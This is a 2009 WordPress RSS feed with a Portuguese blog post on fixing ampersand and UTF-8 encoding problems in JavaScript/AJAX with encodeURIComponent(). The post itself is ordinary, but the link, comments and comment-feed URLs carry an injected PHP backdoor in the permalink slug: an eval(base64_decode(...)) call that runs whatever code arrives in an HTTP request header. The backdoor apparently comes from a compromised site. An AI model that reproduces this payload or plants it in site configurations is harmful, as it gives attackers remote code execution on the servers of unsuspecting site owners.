<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Not For Dummies &#187; XaXa</title>
	<atom:link href="http://3folks.com/notfordummies/author/xaxa/feed/" rel="self" type="application/rss+xml" />
	<link>http://3folks.com/notfordummies</link>
	<description>Além do Hello World</description>
	<lastBuildDate>Fri, 03 Apr 2009 13:41:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>E comercial/ampersand e JavaScript/AJAX</title>
		<link>http://3folks.com/notfordummies/2009/03/23/e-comercialampersand-e-javascriptajax/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/23/e-comercialampersand-e-javascriptajax/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 23 Mar 2009 21:21:07 +0000</pubDate>
		<dc:creator>XaXa</dc:creator>
				<category><![CDATA[Desenvolvimento]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=161</guid>
		<description><![CDATA[
Hoje estava tendo problemas com o caracter &#38; (e comercial/ampersand) no javaScript. O sistema é baseado em AJAX, portanto os dados ficam trafegando na forma de Query String e no fim é enviado por um Post Request.
Para não ter problema com caracteres especiais, essa query string era encodada com a função EncodeURI() do JavaScript. Aí [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-164 aligncenter" title="E comercial. Coma-o antes que ele te coma!" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/412424507_9abf9acb87.jpg" alt="E comercial. Coma-o antes que ele te coma!" width="350" height="263" /></p>
<p>Hoje estava tendo problemas com o caracter <strong>&amp;</strong> (<strong>e comercial</strong>/<strong>ampersand</strong>) no <strong>javaScript</strong>. O sistema é baseado em <strong>AJAX</strong>, portanto os dados ficam trafegando na forma de <a href="http://en.wikipedia.org/wiki/Query_string">Query String</a> e no fim é enviado por um Post Request.</p>
<p>Para não ter problema com caracteres especiais, essa query string era encodada com a função<em> EncodeURI()</em> do JavaScript. Aí estava o problema. Ele encoda toda a string para <acronym title="Uniform Resource Identifier">URI</acronym>, mas não o caracter <strong>&amp;</strong>, já que ele é usado como separador de variáveis na Query String. Tentei então usar a função <em>escape()</em>. Funciona, mas ferrava os acentos.</p>
<p>Achei que era a função escape que não entendia acento e botava caracteres estranhos no local, mas depois de muito teste acabei descobrindo que ele entendia sim os acentos, mas os passava pra <em>latin1.</em> Como uso padrão <em>UTF-8</em>, ferrei-me.</p>
<p>Então depois de uma pesquisada descobri a função<em> encodeURIComponent(),</em> esse sim vai encodar perfeitamente e respeitando o <em>UTF-8</em>.</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/23/e-comercialampersand-e-javascriptajax/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
